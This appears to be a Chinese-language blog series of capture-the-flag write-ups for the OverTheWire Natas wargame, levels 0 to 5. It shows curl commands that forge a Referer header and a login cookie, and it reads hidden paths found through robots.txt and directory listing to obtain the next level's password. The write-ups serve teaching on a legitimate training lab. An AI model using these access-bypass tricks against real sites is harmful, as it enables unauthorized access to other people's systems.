CTF on Mirumo's Blog

那些年教過的 Web Security - Natas3, Natas4, Natas5

Mon, 08 Jun 2026 05:54:59 +0800

我也不知道為什麼我會在這個時間是醒著的。是說 GPT 怎麼一直給我這個風格的 Cover。

Natas3 -> Natas4

http://natas3.natas.labs.overthewire.org

關卡 3 打開又跟我說什麼東西都沒有，那就老規矩打開 Inspect 看看，註解裡有一行字：

1

<!-- No more information leaks!! Not even Google will find it this time... -->

甚至 Google 也找不到的部分呀….那應該就是把東西寫在一個腳本機器人會去看的地方啦！
我們打開 /robots.txt 看看

1
2


User-agent: *
Disallow: /s3cr3t/

看起來有個路徑 /s3cr3t 這個 Disallow 是跟機器人說的，我不是機器人所以我就不客氣地看囉！看來裡面一樣有個 users.txt 的檔案：

1

natas4:********************************

Natas4 -> Natas5

http://natas4.natas.labs.overthewire.org

關卡 4 的部分他說：

1

Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"

必須要從 http://natas5.natas.labs.overthewire.org 的來源才能訪問，但瀏覽器與網頁用的協定是 http，而 http 是 stateless 的協定，那他怎麼知道我從哪裡來勒！肯定是有間諜

終止交易

好的我們看看 Referer 這個 http header，當你透過瀏覽器點擊了一個外部連結，瀏覽器在請求的時候，會把這個 Header 帶入請求當中，那我們就可以透過這個 Header 來騙 Server 我們的來源：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


$ curl -u natas4:******************************** -H 'Referer: http://natas5.natas.labs.overthewire.org/' http://natas4.natas.labs.overthewire.org
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas4", "pass": "********************************" };</script></head>
<body>
<h1>natas4</h1>
<div id="content">

Access granted. The password for natas5 is ********************************
<br/>
<div id="viewsource"><a href="index.php">Refresh page</a></div>
</div>
</body>
</html>

Natas5 -> Natas6

http://natas5.natas.labs.overthewire.org/

關卡 5 表示我們需要登入才能瀏覽，關於登入相關的資訊通常都在 Cookies 裡面，那就打開 Inspect > Application，選擇側邊欄的 Cookies，我們可以看到 loggedin 的值是 0，那我們就可以手動改為 1，改完之後重新整理就行啦！

關於 Cookies 的運作方式，首先 Server 在回應當中會有 Set-Cookies 的 Header，瀏覽器會根據這個來把 Cookies 保存下來，並且在之後的請求當中，把 Cookies 放在 Header 當中回應。我們來看看請求與回應：

 1$ curl -i -u natas5:******************************** http://natas5.natas.labs.overthewire.org/
 2HTTP/1.1 200 OK
 3Date: Sun, 07 Jun 2026 22:28:45 GMT
 4Server: Apache/2.4.58 (Ubuntu)
 5Set-Cookie: loggedin=0
 6Vary: Accept-Encoding
 7Content-Length: 855
 8Content-Type: text/html; charset=UTF-8
 9
10<html>
11<head>
12<!-- This stuff in the header has nothing to do with the level -->
13<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
14<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
15<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
16<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
17<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
18<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
19<script>var wechallinfo = { "level": "natas5", "pass": "********************************" };</script></head>
20<body>
21<h1>natas5</h1>
22<div id="content">
23Access disallowed. You are not logged in</div>
24</body>
25</html>

那接著我們試著發一個帶有 Cookies 的請求

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


$ curl -u natas5:******************************** -H 'Cookie: loggedin=1' http://natas5.natas.labs.overthewire.org/
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas5", "pass": "********************************" };</script></head>
<body>
<h1>natas5</h1>
<div id="content">
Access granted. The password for natas6 is ********************************</div>
</body>
</html>

那些年教過的 Web Security - Natas0, Natas1, Natas2

Sun, 07 Jun 2026 15:32:39 +0800

這張 cover 圖好像太花了，但今天的產圖額度用完了 QAQ

關於 Natas

每個 Natas 關卡都對應一個獨立的網站，玩家需要使用當前關卡的帳號與密碼登入，我們有用盡各種手段，來找出下一關的密碼。Natas 每個關卡主要使用 Basic Authorization 作為驗證，帳號是 natas + <關卡>，密碼則是前一關找到的密碼啦！

Basic Authentication

Basic Authorization（基本驗證）是 HTTP 協定中最簡單的一種身份驗證方式，用來限制使用者存取網站資源。它的核心概念很直接：每次請求時都附帶帳號與密碼，讓伺服器驗證你是誰。

他的傳送方式也很簡單，就是把 <username>:<password> 編碼為 Base64，並且放在 HTTP Header 當中：

1

Authorization: Basic base64(username:password)

Natas0 -> Natas1

http://natas0.natas.labs.overthewire.org

關卡 0 的描述頁面當中有帳號與密碼，分別是 natas0 與 natas0，透過瀏覽器打開的話，會有瀏覽器的提示要求輸入帳號密碼。

看到空空如也的介面，我想大部分對資訊領域的人類都會下意識地打開 Inspect 或是 source code，沒錯密碼就藏在 HTML 原始碼的註解當中，這關就算是解完了。

但這邊可以補充一下，我們可以用 cURL 的指令來完成請求，並直接看到原始碼：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


$ curl -u natas0:natas0 http://natas0.natas.labs.overthewire.org
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas0", "pass": "natas0" };</script></head>
<body>
<h1>natas0</h1>
<div id="content">
You can find the password for the next level on this page.

<!--The password for natas1 is ******************************** -->
</div>
</body>
</html>

Natas1 -> Natas2

http://natas1.natas.labs.overthewire.org

接著來到第 1 關，網站把滑鼠右鍵選單給擋住了，根據我之前在社團的經驗來看，我覺得對於大部分的人好像沒有影響，因為大家打開 Inspect 都是按 F12，好像也不用右鍵選單。在 Mac 上對於 Chromium 的使用者可以用 opt + cmd + c 來開啟，我也就不列舉各個系統與瀏覽器了，直接沿用 Natas0 的解法即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


$ curl -u natas1:******************************** http://natas1.natas.labs.overthewire.org
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas1", "pass": "********************************" };</script></head>
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">
<h1>natas1</h1>
<div id="content">
You can find the password for the
next level on this page, but rightclicking has been blocked!

<!--The password for natas2 is ******************************** -->
</div>
</body>
</html>

Natas2 -> Natas3

http://natas2.natas.labs.overthewire.org

來到關卡 2，一如既往的空空如也，好吧！看原始碼：

 1<html>
 2<head>
 3<!-- This stuff in the header has nothing to do with the level -->
 4<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
 5<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
 6<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
 7<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
 8<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
 9<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
10<script>var wechallinfo = { "level": "natas2", "pass": "********************************" };</script></head>
11<body>
12<h1>natas2</h1>
13<div id="content">
14There is nothing on this page
15<img src="files/pixel.png">
16</div>
17</body></html>

這裡出現了一張位於 files/pixel.png 的圖片，因此可以合理猜測網站存在一個 files/ 目錄。

許多早期網站若沒有正確關閉 Directory Listing（目錄列舉），直接存取目錄路徑時，伺服器就會列出該目錄底下的所有檔案。

這裡有一個 user.txt 的檔案，就不客氣地點進去看囉！

1
2
3
4
5
6
7


# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:********************************
eve:zo4mJWyNj2
mallory:9urtcpzBmH

那些年教過的 Web Security - Overview

Sat, 06 Jun 2026 16:19:32 +0800

前幾天翻到這個網站，想想我之前也是資安社團的講師兼任助教，好吧！這都是往事了，~~怎麼覺得最近這麼容易提當年~~。當時在資安社團主要教 Container 與 Web Security，後來畢業之後，幾次上去偷偷看 CTF 的題目，感覺都有點水，所以就把網站推給學弟妹囉！

。。。

但我手癢，所以有空的時候來寫寫解題的 write-up。

關於 overthewire

OverTheWire 是個社群，提供了一系列實作導向 WarGames 這個網站，幫助學習者循序漸進地掌握電腦系統、Linux、網路、密碼學、逆向工程以及 Web Security 等資安領域知識。

OverTheWire 提供多種不同主題的 WarGames，例如：

Bandit：Linux 指令、檔案系統與基礎資安入門
Natas：Web Security 與伺服器端漏洞
Leviathan：權限提升與系統安全
Krypton：密碼學基礎與古典密碼破解
Narnia：二進位漏洞與程式安全
Behemoth：進階權限提升與漏洞利用
Utumno：Linux 系統安全與 Buffer Overflow
Maze：綜合型高難度挑戰

關於這系列文章

考慮到我之前在社團教 Web Security 的，所以就來寫 Natas 的解題吧！但當然的延續之前的佛系更新，我當然是想到才更新啦！

我在想應該有更多這個網站的解題文章，肯定不缺這一篇的。